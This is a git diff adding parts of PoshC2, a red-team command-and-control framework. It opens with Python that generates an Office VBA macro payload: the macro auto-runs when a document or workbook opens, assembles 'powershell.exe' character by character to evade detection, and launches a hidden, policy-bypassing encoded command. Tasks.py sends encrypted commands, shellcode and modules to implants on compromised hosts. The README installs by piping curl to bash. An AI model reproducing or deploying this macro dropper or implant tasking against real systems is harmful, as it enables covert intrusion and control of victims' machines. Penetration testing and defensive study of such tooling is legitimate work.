formStrMacro("str",basefile) + macro="""Sub Auto_Open() +UpdateMacro +End Sub + +Sub AutoOpen() +UpdateMacro +End Sub + +Sub Workbook_Open() +UpdateMacro +End Sub + +Sub WorkbookOpen() +UpdateMacro +End Sub + +Sub Document_Open() +UpdateMacro +End Sub + +Sub DocumentOpen() +UpdateMacro +End Sub + +Sub UpdateMacro() +Dim str, exec + +%s + +exec = "p" +exec = exec + "o" +exec = exec + "w" +exec = exec + "e" +exec = exec + "r" +exec = exec + "s" +exec = exec + "h" +exec = exec + "e" +exec = exec + "l" +exec = exec + "l" +exec = exec + "." +exec = exec + "e" +exec = exec + "x" +exec = exec + "e" +exec = exec + " -exec bypass -Noninteractive -windowstyle hidden -e " & str + +Shell(exec) +End Sub + +""" % strmacro + self.QuickstartLog( "Macro Payload written to: %s%smacro.txt" % (self.BaseDirectory,name) ) + filename = "%smacro.txt" % (self.BaseDirectory) + output_file = open(filename, 'w') + output_file.write(macro) + output_file.close() diff --git a/README.md b/README.md new file mode 100644 index 0000000..3bb3299 --- /dev/null +++ b/README.md @@ -0,0 +1,12 @@ +# PoshC2 +PoshC2 is a proxy aware C2 framework written completely in PowerShell to aid penetration testers with red teaming, post-exploitation and lateral movement. The tools and modules were developed off the back of our successful PowerShell sessions and payload types for the Metasploit Framework. PowerShell was chosen as the base language as it provides all of the functionality and rich features required without needing to introduce multiple languages to the framework. + +# Documentation + +We maintain PoshC2 documentation over at https://poshc2.readthedocs.io/en/latest/ + +Find us on #Slack - poshc2.slack.com + +# Install + +curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2_Python/master/Install.sh | bash diff --git a/TabComplete.py b/TabComplete.py new file mode 100644 index 0000000..e5f6815 --- /dev/null +++ b/TabComplete.py @@ -0,0 +1,45 @@ +#!/usr/bin/python + +import os +import sys +import readline +import glob + +class tabCompleter(object): + """ + A tab completer that can either complete from + the filesystem or from a list. + + Partially taken from: + http://stackoverflow.com/questions/5637124/tab-completion-in-pythons-raw-input + """ + + def pathCompleter(self,text,state): + """ + This is the tab completer for systems paths. + Only tested on *nix systems + """ + line = readline.get_line_buffer().split() + + return [x for x in glob.glob(text+'*')][state] + + + def createListCompleter(self,ll): + """ + This is a closure that creates a method that autocompletes from + the given list. + + Since the autocomplete function can't be given a list to complete from + a closure is used to create the listCompleter function with a list to complete + from. + """ + def listCompleter(text,state): + line = readline.get_line_buffer() + + if not line: + return [c + " " for c in ll][state] + + else: + return [c + " " for c in ll if c.startswith(line)][state] + + self.listCompleter = listCompleter diff --git a/Tasks.py b/Tasks.py new file mode 100644 index 0000000..c5ddef3 --- /dev/null +++ b/Tasks.py @@ -0,0 +1,66 @@ +#!/usr/bin/python + +from Colours import * +from Core import * +import DB + +def newTask(path): + result = DB.get_implants_all() + commands = "" + if result: + for i in result: + RandomURI = i[1] + EncKey = i[5] + tasks = DB.get_newtasks(RandomURI) + if RandomURI in path and tasks: + for a in tasks: + command = a[2] + hostinfo = DB.get_hostinfo(RandomURI) + print Colours.YELLOW,"" + print "Command issued against implant %s on host %s %s" % (hostinfo[0],hostinfo[3],hostinfo[11]) + + if (command.lower().startswith("$shellcode64")) or (command.lower().startswith("$shellcode64")) : + print "Loading Shellcode",Colours.END + elif (command.lower().startswith("$shellcode86")) or (command.lower().startswith("$shellcode86")) : + print "Loading Shellcode",Colours.END + elif "upload-file" in command.lower(): + print "Uploading File",Colours.END + else: + try: + print command,Colours.END + except Exception as e: + print "Cannot print output: %s" % e + + if a[2].startswith("loadmodule"): + try: + module_name = (a[2]).replace("loadmodule ","") + modulestr = load_module(module_name) + command = "loadmodule%s" % modulestr + except Exception as e: + print "Cannot find module, loadmodule is case sensitive!" + if commands: + commands += "!d-3dion@LD!-d" + command + else: + commands += command + DB.del_newtasks(str(a[0])) + + if commands is not None: + multicmd = "multicmd%s" % commands + + + try: + responseVal = encrypt(EncKey, multicmd) + except Exception as e: + responseVal = "" + print "Error encrypting value: %s" % e + now = datetime.datetime.now() + DB.update_implant_lastseen(now.strftime("%m/%d/%Y %H:%M:%S"),RandomURI) + return responseVal + elif RandomURI in path and not tasks: + # if there is no tasks but its a normal beacon send 200 + now = datetime.datetime.now() + DB.update_implant_lastseen(now.strftime("%m/%d/%Y %H:%M:%S"),RandomURI) + return default_response() + #else: + # return None + \ No newline at end of file diff --git a/Update.sh b/Update.sh new file mode 100755 index 0000000..ae85958 --- /dev/null +++ b/Update.sh @@ -0,0 +1,33 @@ +#!/bin/sh + +# Update PoshC2 +echo "" + +echo """__________ .__. _________ ________ + \_______ \____ _____| |__ \_ ___ \ \_____ \ + | ___/ _ \/ ___/ | \ / \ \/ / ____/ + | | ( <_> )___ \| Y \ \ \____/ \ + |____| \____/____ >___| / \______ /\_______ \ + \/ \/ \/ \/ + =============== v4.0 www.PoshC2.co.uk =============""" + +echo "" +echo "[+] Updating PoshC2_Python" +echo "" + +# Backup config +echo "[+] Backup Config.py" +mv /opt/PoshC2_Python/Config.py /tmp/Config.py + +# Install requirements for PoshC2_Python +echo "" +echo "[+] Performing git pull on /opt/PoshC2_Python/" +cd /opt/PoshC2_Python/ +git pull + +# Restore config +echo "[+] Restore Config.py" +mv /tmp/Config.py /opt/PoshC2_Python/Config.py +echo "" +echo "[+] Update complete" +echo "" diff --git a/poshc2.service b/poshc2.service new file mode 100644 index 0000000..9f7710e --- /dev/null +++ b/poshc2.service @@ -0,0 +1,22 @@ +[Unit] +Description=PoshC2 Server + +[Service] +Type=simple +User=root +ExecStart=/usr/bin/python -u /opt/PoshC2_Python/C2Server.py + + +# add the file in systemd +vim /lib/systemd/system/poshc2.service +systemctl enable poshc2.service +systemctl start poshc2.service + +# stop the service +systemctl stop poshc2.service + +# restart the service +systemctl restart poshc2.service + +# view the output +journalctl -n 20000 -u poshc2.service -f --output cat diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 0000000..7bd02b8 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,4 @@ +pyopenssl +pandas +pyttsx3 +pycrypto \ No newline at end of file